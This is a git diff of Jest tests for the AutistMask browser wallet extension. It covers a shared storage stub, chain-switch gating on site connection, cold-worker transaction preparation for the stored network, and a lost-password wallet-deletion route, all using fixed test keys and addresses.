rpcUrl: CUSTOM_RPC,
|
|
||||||
blockscoutUrl: MAINNET.defaultBlockscoutUrl,
|
|
||||||
networkEndpoints: {},
|
|
||||||
wallets: walletFixture(),
|
|
||||||
lastBalanceRefresh: 1,
|
|
||||||
tokenHolderCache: {},
|
|
||||||
fraudContracts: [],
|
|
||||||
};
|
|
||||||
|
|
||||||
jest.doMock("../src/shared/state", () => ({
|
|
||||||
state: walletState,
|
|
||||||
loadState: jest.fn(async () => {}),
|
|
||||||
saveState: jest.fn(async () => {}),
|
|
||||||
currentNetwork: () => networkById(walletState.networkId),
|
|
||||||
}));
|
|
||||||
jest.doMock("../src/shared/balances", () => ({
|
jest.doMock("../src/shared/balances", () => ({
|
||||||
getProvider: () => ({}),
|
getProvider: () => ({}),
|
||||||
refreshBalances: jest.fn(async () => {}),
|
refreshBalances: jest.fn(async () => {}),
|
||||||
@@ -88,12 +72,24 @@ function loadBackground() {
|
|||||||
registerAlarmHandlers: jest.fn(),
|
registerAlarmHandlers: jest.fn(),
|
||||||
}));
|
}));
|
||||||
|
|
||||||
|
// Storage is the only wallet state there is. The background reads and
|
||||||
|
// writes it per call — it holds no in-memory copy and cannot reach the
|
||||||
|
// shared singleton — so a switch that happened is visible here as a
|
||||||
|
// written record, and one that did not is visible as its absence.
|
||||||
const persisted = {
|
const persisted = {
|
||||||
|
networkId: "mainnet",
|
||||||
|
rpcUrl: CUSTOM_RPC,
|
||||||
|
blockscoutUrl: MAINNET.defaultBlockscoutUrl,
|
||||||
|
networkEndpoints: {},
|
||||||
wallets: walletFixture(),
|
wallets: walletFixture(),
|
||||||
|
lastBalanceRefresh: 1,
|
||||||
|
tokenHolderCache: {},
|
||||||
|
fraudContracts: [],
|
||||||
activeAddress: ADDRESS,
|
activeAddress: ADDRESS,
|
||||||
allowedSites: { [ADDRESS]: [CONNECTED_HOSTNAME] },
|
allowedSites: { [ADDRESS]: [CONNECTED_HOSTNAME] },
|
||||||
deniedSites: {},
|
deniedSites: {},
|
||||||
};
|
};
|
||||||
|
const storage = makeStorageStub({ autistmask: persisted });
|
||||||
|
|
||||||
let messageListener = null;
|
let messageListener = null;
|
||||||
// Every message the background pushed at a content script. chainChanged
|
// Every message the background pushed at a content script. chainChanged
|
||||||
@@ -102,12 +98,7 @@ function loadBackground() {
|
|||||||
const toTabs = [];
|
const toTabs = [];
|
||||||
|
|
||||||
global.chrome = {
|
global.chrome = {
|
||||||
storage: {
|
storage,
|
||||||
local: {
|
|
||||||
get: jest.fn(async () => ({ autistmask: persisted })),
|
|
||||||
set: jest.fn(async () => {}),
|
|
||||||
},
|
|
||||||
},
|
|
||||||
runtime: {
|
runtime: {
|
||||||
getURL: (path) => "chrome-extension://autistmask/" + path,
|
getURL: (path) => "chrome-extension://autistmask/" + path,
|
||||||
onMessage: {
|
onMessage: {
|
||||||
@@ -157,7 +148,7 @@ function loadBackground() {
|
|||||||
|
|
||||||
return {
|
return {
|
||||||
switchChain,
|
switchChain,
|
||||||
walletState,
|
walletState: () => storage.read("autistmask"),
|
||||||
chainChangedEvents: () =>
|
chainChangedEvents: () =>
|
||||||
toTabs.filter((m) => m.eventName === "chainChanged"),
|
toTabs.filter((m) => m.eventName === "chainChanged"),
|
||||||
};
|
};
|
||||||
@@ -174,8 +165,8 @@ describe("wallet_switchEthereumChain is gated on the connection", () => {
|
|||||||
// The refusal has to be a refusal to ACT, not just an error string:
|
// The refusal has to be a refusal to ACT, not just an error string:
|
||||||
// the wallet is still on mainnet, still on the user's own node, and
|
// the wallet is still on mainnet, still on the user's own node, and
|
||||||
// no page was told the chain moved.
|
// no page was told the chain moved.
|
||||||
expect(bg.walletState.networkId).toBe("mainnet");
|
expect(bg.walletState().networkId).toBe("mainnet");
|
||||||
expect(bg.walletState.rpcUrl).toBe(CUSTOM_RPC);
|
expect(bg.walletState().rpcUrl).toBe(CUSTOM_RPC);
|
||||||
expect(bg.chainChangedEvents()).toEqual([]);
|
expect(bg.chainChangedEvents()).toEqual([]);
|
||||||
});
|
});
|
||||||
|
|
||||||
@@ -201,7 +192,7 @@ describe("wallet_switchEthereumChain is gated on the connection", () => {
|
|||||||
const result = await bg.switchChain(SEPOLIA.chainId, CONNECTED_ORIGIN);
|
const result = await bg.switchChain(SEPOLIA.chainId, CONNECTED_ORIGIN);
|
||||||
|
|
||||||
expect(result).toEqual({ result: null });
|
expect(result).toEqual({ result: null });
|
||||||
expect(bg.walletState.networkId).toBe("sepolia");
|
expect(bg.walletState().networkId).toBe("sepolia");
|
||||||
expect(bg.chainChangedEvents()).toEqual([
|
expect(bg.chainChangedEvents()).toEqual([
|
||||||
{
|
{
|
||||||
type: "AUTISTMASK_EVENT",
|
type: "AUTISTMASK_EVENT",
|
||||||
@@ -217,16 +208,16 @@ describe("wallet_switchEthereumChain is gated on the connection", () => {
|
|||||||
const result = await bg.switchChain("0x89", CONNECTED_ORIGIN);
|
const result = await bg.switchChain("0x89", CONNECTED_ORIGIN);
|
||||||
|
|
||||||
expect(result.error.code).toBe(4902);
|
expect(result.error.code).toBe(4902);
|
||||||
expect(bg.walletState.networkId).toBe("mainnet");
|
expect(bg.walletState().networkId).toBe("mainnet");
|
||||||
});
|
});
|
||||||
|
|
||||||
test("a switch by a connected origin keeps the user's endpoint", async () => {
|
test("a switch by a connected origin keeps the user's endpoint", async () => {
|
||||||
const bg = loadBackground();
|
const bg = loadBackground();
|
||||||
|
|
||||||
await bg.switchChain(SEPOLIA.chainId, CONNECTED_ORIGIN);
|
await bg.switchChain(SEPOLIA.chainId, CONNECTED_ORIGIN);
|
||||||
expect(bg.walletState.rpcUrl).toBe(SEPOLIA.defaultRpcUrl);
|
expect(bg.walletState().rpcUrl).toBe(SEPOLIA.defaultRpcUrl);
|
||||||
|
|
||||||
await bg.switchChain(MAINNET.chainId, CONNECTED_ORIGIN);
|
await bg.switchChain(MAINNET.chainId, CONNECTED_ORIGIN);
|
||||||
expect(bg.walletState.rpcUrl).toBe(CUSTOM_RPC);
|
expect(bg.walletState().rpcUrl).toBe(CUSTOM_RPC);
|
||||||
});
|
});
|
||||||
});
|
});
|
||||||
|
|||||||
@@ -16,6 +16,7 @@
|
|||||||
// first, so neither can see this.
|
// first, so neither can see this.
|
||||||
|
|
||||||
const { networkById } = require("../src/shared/networks");
|
const { networkById } = require("../src/shared/networks");
|
||||||
|
const { makeStorageStub } = require("./support/storageStub");
|
||||||
|
|
||||||
const ADDRESS = "0x66133E8ea0f5D1d612D2502a968757D1048c214a";
|
const ADDRESS = "0x66133E8ea0f5D1d612D2502a968757D1048c214a";
|
||||||
|
|
||||||
@@ -64,9 +65,12 @@ afterEach(() => {
|
|||||||
delete global.chrome;
|
delete global.chrome;
|
||||||
});
|
});
|
||||||
|
|
||||||
// Load the background worker with the real state and chain-switch modules
|
// Load the background worker with the real chain-switch and persistence
|
||||||
// behind it, over a storage stub that actually keeps what is written — a
|
// modules behind it, over a storage stub that actually keeps what is written —
|
||||||
// wipe is only observable against storage that remembers.
|
// a wipe is only observable against storage that remembers — and that clones
|
||||||
|
// in both directions, as the real API does. It used to alias, so the record
|
||||||
|
// the worker held and the "stored" one were a single object; see
|
||||||
|
// tests/support/storageStub.js.
|
||||||
function loadColdWorker(networkId) {
|
function loadColdWorker(networkId) {
|
||||||
jest.resetModules();
|
jest.resetModules();
|
||||||
|
|
||||||
@@ -84,20 +88,13 @@ function loadColdWorker(networkId) {
|
|||||||
registerAlarmHandlers: jest.fn(),
|
registerAlarmHandlers: jest.fn(),
|
||||||
}));
|
}));
|
||||||
|
|
||||||
const store = { autistmask: storedProfile(networkId) };
|
const storage = makeStorageStub({ autistmask: storedProfile(networkId) });
|
||||||
|
|
||||||
let messageListener = null;
|
let messageListener = null;
|
||||||
const toTabs = [];
|
const toTabs = [];
|
||||||
|
|
||||||
global.chrome = {
|
global.chrome = {
|
||||||
storage: {
|
storage,
|
||||||
local: {
|
|
||||||
get: jest.fn(async () => ({ autistmask: store.autistmask })),
|
|
||||||
set: jest.fn(async (items) => {
|
|
||||||
store.autistmask = items.autistmask;
|
|
||||||
}),
|
|
||||||
},
|
|
||||||
},
|
|
||||||
runtime: {
|
runtime: {
|
||||||
getURL: (path) => "chrome-extension://autistmask/" + path,
|
getURL: (path) => "chrome-extension://autistmask/" + path,
|
||||||
onMessage: {
|
onMessage: {
|
||||||
@@ -147,7 +144,7 @@ function loadColdWorker(networkId) {
|
|||||||
|
|
||||||
return {
|
return {
|
||||||
switchChain,
|
switchChain,
|
||||||
persisted: () => store.autistmask,
|
persisted: () => storage.read("autistmask"),
|
||||||
chainChangedEvents: () =>
|
chainChangedEvents: () =>
|
||||||
toTabs.filter((m) => m.eventName === "chainChanged"),
|
toTabs.filter((m) => m.eventName === "chainChanged"),
|
||||||
};
|
};
|
||||||
|
|||||||
279
tests/coldWorkerSendTransaction.test.js
Normal file
279
tests/coldWorkerSendTransaction.test.js
Normal file
@@ -0,0 +1,279 @@
|
|||||||
|
// Which chain a dApp transaction is PREPARED for on a worker that has not
|
||||||
|
// loaded state.
|
||||||
|
//
|
||||||
|
// The MV3 service worker is terminated when idle — roughly 30 seconds, which
|
||||||
|
// is its normal condition — and revived by the page's own message. Nothing
|
||||||
|
// loads state at module scope, so handleSendTransaction() used to build its
|
||||||
|
// provider with `getProvider(await getRpcUrl())`: the endpoint came from
|
||||||
|
// storage and was right, and the static network hint was omitted, so
|
||||||
|
// src/shared/balances.js fell back to currentNetwork() — the unpopulated
|
||||||
|
// singleton — and answered mainnet. ethers then fixed `chainId` at 0x1.
|
||||||
|
//
|
||||||
|
// The transaction was not sent on the wrong chain: verifySignedTx() compares
|
||||||
|
// the artifact against the selected chain and refused it. So the guard held
|
||||||
|
// and the feature did not — a user on any non-mainnet network could not send
|
||||||
|
// from a dApp at all, and the error described the symptom
|
||||||
|
// (https://git.eeqj.de/sneak/AutistMask/issues/320).
|
||||||
|
//
|
||||||
|
// This drives the real balances module and the real approval preparation and
|
||||||
|
// verification. Only ethers' JsonRpcProvider is replaced, so the static
|
||||||
|
// network hint getProvider() computes is the hint the population sees.
|
||||||
|
|
||||||
|
const { Network, Wallet, Transaction } = require("ethers");
|
||||||
|
const { networkById } = require("../src/shared/networks");
|
||||||
|
const { makeStorageStub } = require("./support/storageStub");
|
||||||
|
|
||||||
|
const SIGNER_KEY =
|
||||||
|
"0x59c6995e998f97a5a0044966f0945389dc9e86dae88c7a8412f4603b6b78690d";
|
||||||
|
const signer = new Wallet(SIGNER_KEY);
|
||||||
|
const RECIPIENT = "0x66133E8ea0f5D1d612D2502a968757D1048c214a";
|
||||||
|
|
||||||
|
const CONNECTED_ORIGIN = "https://dapp.example";
|
||||||
|
const CONNECTED_HOSTNAME = "dapp.example";
|
||||||
|
const EXT_URL = "chrome-extension://autistmask/";
|
||||||
|
|
||||||
|
const SEPOLIA = networkById("sepolia");
|
||||||
|
const MAINNET = networkById("mainnet");
|
||||||
|
|
||||||
|
const NONCE = 7;
|
||||||
|
const TX_HASH = "0xfeed";
|
||||||
|
|
||||||
|
const TX_PARAMS = {
|
||||||
|
from: signer.address,
|
||||||
|
to: RECIPIENT,
|
||||||
|
value: "0x2386f26fc10000",
|
||||||
|
data: "0x",
|
||||||
|
};
|
||||||
|
|
||||||
|
function storedProfile(networkId) {
|
||||||
|
const net = networkById(networkId);
|
||||||
|
return {
|
||||||
|
hasWallet: true,
|
||||||
|
wallets: [
|
||||||
|
{
|
||||||
|
name: "Wallet 1",
|
||||||
|
type: "hd",
|
||||||
|
xpub: "xpub-1",
|
||||||
|
addresses: [
|
||||||
|
{
|
||||||
|
address: signer.address,
|
||||||
|
balance: "0.0",
|
||||||
|
tokenBalances: [],
|
||||||
|
},
|
||||||
|
],
|
||||||
|
},
|
||||||
|
],
|
||||||
|
activeAddress: signer.address,
|
||||||
|
networkId,
|
||||||
|
rpcUrl: net.defaultRpcUrl,
|
||||||
|
blockscoutUrl: net.defaultBlockscoutUrl,
|
||||||
|
allowedSites: { [signer.address]: [CONNECTED_HOSTNAME] },
|
||||||
|
deniedSites: {},
|
||||||
|
trackedTokens: [],
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
async function settle() {
|
||||||
|
for (let i = 0; i < 60; i++) await Promise.resolve();
|
||||||
|
}
|
||||||
|
|
||||||
|
afterEach(() => {
|
||||||
|
delete global.chrome;
|
||||||
|
});
|
||||||
|
|
||||||
|
// A worker whose only wallet state is what is in storage, with ethers'
|
||||||
|
// JsonRpcProvider replaced by a stub that answers out of the static network it
|
||||||
|
// was constructed with — which is exactly what a real staticNetwork provider
|
||||||
|
// does, and what makes the chain id on the approval screen observable here.
|
||||||
|
function loadColdWorker(networkId) {
|
||||||
|
jest.resetModules();
|
||||||
|
|
||||||
|
const constructed = [];
|
||||||
|
const broadcast = [];
|
||||||
|
|
||||||
|
jest.doMock("ethers", () => {
|
||||||
|
const actual = jest.requireActual("ethers");
|
||||||
|
class StubJsonRpcProvider {
|
||||||
|
constructor(url, network) {
|
||||||
|
this._network = network;
|
||||||
|
constructed.push({ url, network });
|
||||||
|
}
|
||||||
|
async getNetwork() {
|
||||||
|
return this._network;
|
||||||
|
}
|
||||||
|
async getTransactionCount() {
|
||||||
|
return NONCE;
|
||||||
|
}
|
||||||
|
async estimateGas() {
|
||||||
|
return 100000n;
|
||||||
|
}
|
||||||
|
async getFeeData() {
|
||||||
|
return {
|
||||||
|
gasPrice: 2000000000n,
|
||||||
|
maxFeePerGas: 2000000000n,
|
||||||
|
maxPriorityFeePerGas: 1000000000n,
|
||||||
|
};
|
||||||
|
}
|
||||||
|
async broadcastTransaction(raw) {
|
||||||
|
broadcast.push(raw);
|
||||||
|
return { hash: TX_HASH };
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return { ...actual, JsonRpcProvider: StubJsonRpcProvider };
|
||||||
|
});
|
||||||
|
jest.doMock("../src/shared/phishingDomains", () => ({
|
||||||
|
isPhishingDomain: () => false,
|
||||||
|
}));
|
||||||
|
jest.doMock("../src/shared/alarms", () => ({
|
||||||
|
BALANCE_REFRESH_ALARM: "balance",
|
||||||
|
BALANCE_REFRESH_PERIOD_MINUTES: 1,
|
||||||
|
ensureRecurringAlarms: jest.fn(async () => {}),
|
||||||
|
registerAlarmHandlers: jest.fn(),
|
||||||
|
}));
|
||||||
|
|
||||||
|
const storage = makeStorageStub({ autistmask: storedProfile(networkId) });
|
||||||
|
|
||||||
|
let messageListener = null;
|
||||||
|
const createdUrls = [];
|
||||||
|
|
||||||
|
global.chrome = {
|
||||||
|
storage,
|
||||||
|
runtime: {
|
||||||
|
getURL: (path) => EXT_URL + path,
|
||||||
|
onMessage: {
|
||||||
|
addListener: (fn) => {
|
||||||
|
messageListener = fn;
|
||||||
|
},
|
||||||
|
},
|
||||||
|
onConnect: { addListener: () => {} },
|
||||||
|
lastError: null,
|
||||||
|
},
|
||||||
|
windows: {
|
||||||
|
getLastFocused: (cb) => cb(null),
|
||||||
|
create: (opts, cb) => {
|
||||||
|
createdUrls.push(opts.url);
|
||||||
|
cb({ id: createdUrls.length });
|
||||||
|
},
|
||||||
|
remove: (id, cb) => {
|
||||||
|
if (cb) cb();
|
||||||
|
},
|
||||||
|
onRemoved: { addListener: () => {} },
|
||||||
|
},
|
||||||
|
tabs: {
|
||||||
|
query: (queryInfo, cb) => cb([{ id: 1 }]),
|
||||||
|
sendMessage: (tabId, message, cb) => {
|
||||||
|
if (cb) cb();
|
||||||
|
},
|
||||||
|
},
|
||||||
|
action: { setPopup: () => {} },
|
||||||
|
};
|
||||||
|
|
||||||
|
require("../src/background/index");
|
||||||
|
|
||||||
|
function send(msg, sender) {
|
||||||
|
let result = null;
|
||||||
|
messageListener(msg, sender, (r) => {
|
||||||
|
result = r;
|
||||||
|
});
|
||||||
|
return () => result;
|
||||||
|
}
|
||||||
|
|
||||||
|
return {
|
||||||
|
send,
|
||||||
|
constructed,
|
||||||
|
broadcast,
|
||||||
|
fromPopup: { url: EXT_URL + "src/popup/index.html" },
|
||||||
|
// The first message this worker ever sees, as the injected provider
|
||||||
|
// sends it.
|
||||||
|
sendTransaction: () =>
|
||||||
|
send(
|
||||||
|
{
|
||||||
|
type: "AUTISTMASK_RPC",
|
||||||
|
method: "eth_sendTransaction",
|
||||||
|
params: [TX_PARAMS],
|
||||||
|
},
|
||||||
|
{ origin: CONNECTED_ORIGIN },
|
||||||
|
),
|
||||||
|
approvalId: () => {
|
||||||
|
const url = createdUrls[createdUrls.length - 1];
|
||||||
|
return url
|
||||||
|
? new URL(url, EXT_URL).searchParams.get("approval")
|
||||||
|
: null;
|
||||||
|
},
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
// What the approval window does: fetch the approval and sign the transaction
|
||||||
|
// it was handed, exactly as given.
|
||||||
|
function signApproved(approvedTx) {
|
||||||
|
const tx = {};
|
||||||
|
for (const [key, value] of Object.entries(approvedTx)) {
|
||||||
|
if (key === "from") continue;
|
||||||
|
tx[key] = value;
|
||||||
|
}
|
||||||
|
return signer.signTransaction(tx);
|
||||||
|
}
|
||||||
|
|
||||||
|
describe("a dApp transaction prepared by a worker that never loaded state", () => {
|
||||||
|
test("a cold send on Sepolia reaches the approval screen and goes out", async () => {
|
||||||
|
const bg = loadColdWorker("sepolia");
|
||||||
|
|
||||||
|
const answer = bg.sendTransaction();
|
||||||
|
await settle();
|
||||||
|
|
||||||
|
// The provider was built for Sepolia, endpoint and static hint
|
||||||
|
// together. Omitting the hint made this mainnet.
|
||||||
|
expect(bg.constructed).toHaveLength(1);
|
||||||
|
expect(bg.constructed[0].url).toBe(SEPOLIA.defaultRpcUrl);
|
||||||
|
expect(bg.constructed[0].network.chainId).toBe(
|
||||||
|
Network.from("sepolia").chainId,
|
||||||
|
);
|
||||||
|
|
||||||
|
// So the approval the user is shown is a Sepolia transaction.
|
||||||
|
const id = bg.approvalId();
|
||||||
|
expect(id).toBeTruthy();
|
||||||
|
const approval = bg.send(
|
||||||
|
{ type: "AUTISTMASK_GET_APPROVAL", id },
|
||||||
|
{ url: bg.fromPopup.url },
|
||||||
|
)();
|
||||||
|
expect(approval.type).toBe("tx");
|
||||||
|
expect(approval.approvedTx.chainId).toBe(SEPOLIA.chainId);
|
||||||
|
|
||||||
|
// And it survives the wallet's own verification, which is where a
|
||||||
|
// 0x1-stamped artifact was refused as "for a different network".
|
||||||
|
const rawSignedTx = await signApproved(approval.approvedTx);
|
||||||
|
const response = bg.send(
|
||||||
|
{
|
||||||
|
type: "AUTISTMASK_TX_RESPONSE",
|
||||||
|
id,
|
||||||
|
approved: true,
|
||||||
|
rawSignedTx,
|
||||||
|
},
|
||||||
|
{ url: bg.fromPopup.url },
|
||||||
|
);
|
||||||
|
await settle();
|
||||||
|
|
||||||
|
expect(response()).toEqual({ txHash: TX_HASH });
|
||||||
|
expect(bg.broadcast).toEqual([rawSignedTx]);
|
||||||
|
expect(Number(Transaction.from(rawSignedTx).chainId)).toBe(
|
||||||
|
Number(SEPOLIA.networkVersion),
|
||||||
|
);
|
||||||
|
expect(answer()).toEqual({ result: TX_HASH });
|
||||||
|
});
|
||||||
|
|
||||||
|
test("a cold send on mainnet is prepared for mainnet", async () => {
|
||||||
|
// The stored value and the old fallback agree here, so this case
|
||||||
|
// cannot catch the defect; it is what keeps the fix from being a swap.
|
||||||
|
const bg = loadColdWorker("mainnet");
|
||||||
|
|
||||||
|
bg.sendTransaction();
|
||||||
|
await settle();
|
||||||
|
|
||||||
|
expect(bg.constructed[0].url).toBe(MAINNET.defaultRpcUrl);
|
||||||
|
const approval = bg.send(
|
||||||
|
{ type: "AUTISTMASK_GET_APPROVAL", id: bg.approvalId() },
|
||||||
|
{ url: bg.fromPopup.url },
|
||||||
|
)();
|
||||||
|
expect(approval.approvedTx.chainId).toBe(MAINNET.chainId);
|
||||||
|
});
|
||||||
|
});
|
||||||
@@ -19,6 +19,14 @@ const {
|
|||||||
balanceWarningHtml,
|
balanceWarningHtml,
|
||||||
} = require("../src/popup/views/deleteAddress");
|
} = require("../src/popup/views/deleteAddress");
|
||||||
const { prices, clearPrices } = require("../src/shared/prices");
|
const { prices, clearPrices } = require("../src/shared/prices");
|
||||||
|
const { state } = require("../src/shared/state");
|
||||||
|
|
||||||
|
// The screen prices holdings, and pricing asks which chain it is on. Reading
|
||||||
|
// the singleton's network before anything loaded it now throws rather than
|
||||||
|
// answering mainnet by default
|
||||||
|
// (https://git.eeqj.de/sneak/AutistMask/issues/324), so the network this
|
||||||
|
// fixture is on is stated instead of assumed.
|
||||||
|
state.networkId = "mainnet";
|
||||||
|
|
||||||
const USDC = "0xa0b86991c6218b36c1d19d4a2e9eb0ce3606eb48";
|
const USDC = "0xa0b86991c6218b36c1d19d4a2e9eb0ce3606eb48";
|
||||||
|
|
||||||
|
|||||||
477
tests/deleteWalletLostPassword.test.js
Normal file
477
tests/deleteWalletLostPassword.test.js
Normal file
@@ -0,0 +1,477 @@
|
|||||||
|
// The lost-password route off the delete-wallet screen (issue #312).
|
||||||
|
//
|
||||||
|
// What is pinned here is that a user who has forgotten the password can
|
||||||
|
// still get out — no password is asked for and none is checked — and that
|
||||||
|
// the escape hatch destroys exactly the wallet it names and nothing else.
|
||||||
|
// The second half is the dangerous one: this is the only control in the
|
||||||
|
// product that erases key material without the password that encrypted it,
|
||||||
|
// so an off-by-one in the wallet it removes would take a wallet whose
|
||||||
|
// owner never asked for it to be touched.
|
||||||
|
//
|
||||||
|
// The assertions are made against what came back OUT of extension storage,
|
||||||
|
// not against the live `state` object. Deleting a wallet in memory and
|
||||||
|
// never persisting it looks identical from `state`, and a build that never
|
||||||
|
// wrote at all would pass a check that only reads `state` back.
|
||||||
|
//
|
||||||
|
// That makes the storage stub load-bearing, so it is the shared one from
|
||||||
|
// tests/support/storageStub.js, a real store that structured-clones on both
|
||||||
|
// `set` and `get`. A stub whose `get` hands back the same object its `set`
|
||||||
|
// was given aliases the caller's own array: the test then reads its own
|
||||||
|
// in-memory mutation and calls it persistence, and passes against a build
|
||||||
|
// that persists nothing
|
||||||
|
// (https://git.eeqj.de/sneak/AutistMask/issues/324). The aliasing is closed
|
||||||
|
// off explicitly by the first test below rather than left as an assumption
|
||||||
|
// about `structuredClone`.
|
||||||
|
//
|
||||||
|
// The view is driven against a minimal DOM stub, in the same shape as
|
||||||
|
// tests/exportPrivkey.test.js: the module reads and writes named nodes and
|
||||||
|
// needs nothing else from a document.
|
||||||
|
|
||||||
|
const mockSettingsShow = jest.fn();
|
||||||
|
jest.mock("../src/popup/views/settings", () => ({
|
||||||
|
show: mockSettingsShow,
|
||||||
|
}));
|
||||||
|
jest.mock("../src/shared/vault", () => ({
|
||||||
|
decryptWithPassword: jest.fn(),
|
||||||
|
}));
|
||||||
|
|
||||||
|
const { RESTORABLE_VIEWS } = require("../src/shared/restorableViews");
|
||||||
|
const { makeStorageStub } = require("./support/storageStub");
|
||||||
|
|
||||||
|
const VIEW = "delete-wallet-lost-password";
|
||||||
|
|
||||||
|
// Fixed addresses — never used for anything but these tests.
|
||||||
|
const A0 = "0x66133E8ea0f5D1d612D2502a968757D1048c214a";
|
||||||
|
const A1 = "0xdAC17F958D2ee523a2206206994597C13D831ec7";
|
||||||
|
const B0 = "0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599";
|
||||||
|
const C0 = "0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48";
|
||||||
|
|
||||||
|
// ------------------------------------------------------------ DOM stub
|
||||||
|
|
||||||
|
function makeElement(id) {
|
||||||
|
const classes = new Set();
|
||||||
|
const el = {
|
||||||
|
id,
|
||||||
|
textContent: "",
|
||||||
|
value: "",
|
||||||
|
innerHTML: "",
|
||||||
|
disabled: false,
|
||||||
|
style: {},
|
||||||
|
dataset: {},
|
||||||
|
listeners: {},
|
||||||
|
classList: {
|
||||||
|
add: (...names) => names.forEach((n) => classes.add(n)),
|
||||||
|
remove: (...names) => names.forEach((n) => classes.delete(n)),
|
||||||
|
contains: (n) => classes.has(n),
|
||||||
|
toggle: (n, force) => {
|
||||||
|
const on = force === undefined ? !classes.has(n) : force;
|
||||||
|
if (on) classes.add(n);
|
||||||
|
else classes.delete(n);
|
||||||
|
return on;
|
||||||
|
},
|
||||||
|
},
|
||||||
|
addEventListener: (name, fn) => {
|
||||||
|
el.listeners[name] = el.listeners[name] || [];
|
||||||
|
el.listeners[name].push(fn);
|
||||||
|
},
|
||||||
|
appendChild: () => {},
|
||||||
|
remove: () => {},
|
||||||
|
querySelectorAll: () => [],
|
||||||
|
};
|
||||||
|
return el;
|
||||||
|
}
|
||||||
|
|
||||||
|
function makeDocument() {
|
||||||
|
const els = new Map();
|
||||||
|
return {
|
||||||
|
getElementById(id) {
|
||||||
|
// The debug banner is created on demand by helpers.js; absent
|
||||||
|
// is the state a non-debug, non-testnet popup is in.
|
||||||
|
if (id === "debug-banner") return null;
|
||||||
|
if (!els.has(id)) els.set(id, makeElement(id));
|
||||||
|
return els.get(id);
|
||||||
|
},
|
||||||
|
createElement: () => makeElement("created"),
|
||||||
|
addEventListener: () => {},
|
||||||
|
body: { prepend: () => {} },
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
// ------------------------------------------------------------ harness
|
||||||
|
|
||||||
|
function wallet(name, secret, addresses) {
|
||||||
|
return {
|
||||||
|
type: "hd",
|
||||||
|
name,
|
||||||
|
xpub: "xpub-" + name,
|
||||||
|
encryptedSecret: secret,
|
||||||
|
nextIndex: addresses.length,
|
||||||
|
addresses: addresses.map((address) => ({
|
||||||
|
address,
|
||||||
|
balance: "0.0000",
|
||||||
|
tokenBalances: [],
|
||||||
|
})),
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
function load() {
|
||||||
|
jest.resetModules();
|
||||||
|
mockSettingsShow.mockClear();
|
||||||
|
|
||||||
|
const storage = makeStorageStub();
|
||||||
|
const sent = [];
|
||||||
|
globalThis.chrome = {
|
||||||
|
storage: { local: storage.local },
|
||||||
|
runtime: { sendMessage: (msg) => sent.push(msg) },
|
||||||
|
};
|
||||||
|
globalThis.document = makeDocument();
|
||||||
|
|
||||||
|
const helpers = require("../src/popup/views/helpers");
|
||||||
|
const { state } = require("../src/shared/state");
|
||||||
|
const vault = require("../src/shared/vault");
|
||||||
|
const deleteWallet = require("../src/popup/views/deleteWallet");
|
||||||
|
|
||||||
|
state.hasWallet = true;
|
||||||
|
state.wallets = [
|
||||||
|
wallet("Wallet 1", "secret-one", [A0, A1]),
|
||||||
|
wallet("Wallet 2", "secret-two", [B0]),
|
||||||
|
wallet("Wallet 3", "secret-three", [C0]),
|
||||||
|
];
|
||||||
|
state.selectedWallet = 0;
|
||||||
|
state.selectedAddress = 0;
|
||||||
|
state.activeAddress = A0;
|
||||||
|
state.allowedSites = { [A0]: ["a.example"], [B0]: ["b.example"] };
|
||||||
|
state.deniedSites = { [B0]: ["c.example"], [C0]: ["d.example"] };
|
||||||
|
state.viewStack = ["main", "settings"];
|
||||||
|
state.currentView = "settings";
|
||||||
|
|
||||||
|
const renderWalletList = jest.fn();
|
||||||
|
deleteWallet.init({ renderWalletList });
|
||||||
|
|
||||||
|
return { helpers, state, vault, deleteWallet, storage, sent };
|
||||||
|
}
|
||||||
|
|
||||||
|
function click(id) {
|
||||||
|
const el = globalThis.document.getElementById(id);
|
||||||
|
return Promise.all((el.listeners.click || []).map((fn) => fn()));
|
||||||
|
}
|
||||||
|
|
||||||
|
function node(id) {
|
||||||
|
return globalThis.document.getElementById(id);
|
||||||
|
}
|
||||||
|
|
||||||
|
// The wallets as the extension would read them back on a cold start.
|
||||||
|
async function persistedWallets(storage) {
|
||||||
|
const result = await storage.get("autistmask");
|
||||||
|
return result.autistmask.wallets;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Open the lost-password screen for a wallet, the way the user does.
|
||||||
|
async function openLostPassword(deleteWallet, walletIdx) {
|
||||||
|
deleteWallet.show(walletIdx);
|
||||||
|
await click("btn-delete-wallet-lost-password");
|
||||||
|
}
|
||||||
|
|
||||||
|
// ------------------------------------------------------------ tests
|
||||||
|
|
||||||
|
// The stub is what every persistence assertion below rests on, so its one
|
||||||
|
// dangerous failure mode is closed off first. An aliasing store passes
|
||||||
|
// every other test in this file against a build that never writes.
|
||||||
|
describe("the storage stub", () => {
|
||||||
|
test("does not hand back the object it was given", async () => {
|
||||||
|
const storage = makeStorageStub();
|
||||||
|
const written = { wallets: [{ name: "Wallet 1" }] };
|
||||||
|
|
||||||
|
await storage.set({ autistmask: written });
|
||||||
|
written.wallets.push({ name: "Wallet 2" });
|
||||||
|
written.wallets[0].name = "renamed after the write";
|
||||||
|
|
||||||
|
const readBack = (await storage.get("autistmask")).autistmask;
|
||||||
|
expect(readBack.wallets).toHaveLength(1);
|
||||||
|
expect(readBack.wallets[0].name).toBe("Wallet 1");
|
||||||
|
|
||||||
|
// And the other direction: mutating what came out must not reach
|
||||||
|
// back into the store.
|
||||||
|
readBack.wallets[0].name = "renamed after the read";
|
||||||
|
const again = (await storage.get("autistmask")).autistmask;
|
||||||
|
expect(again.wallets[0].name).toBe("Wallet 1");
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe("reaching the screen", () => {
|
||||||
|
test("the delete screen offers the route", async () => {
|
||||||
|
const { deleteWallet, state } = load();
|
||||||
|
await openLostPassword(deleteWallet, 1);
|
||||||
|
|
||||||
|
expect(state.currentView).toBe(VIEW);
|
||||||
|
expect(node("delete-wallet-lost-name").textContent).toBe("Wallet 2");
|
||||||
|
expect(node("delete-wallet-lost-name-echo").textContent).toBe(
|
||||||
|
"Wallet 2",
|
||||||
|
);
|
||||||
|
});
|
||||||
|
|
||||||
|
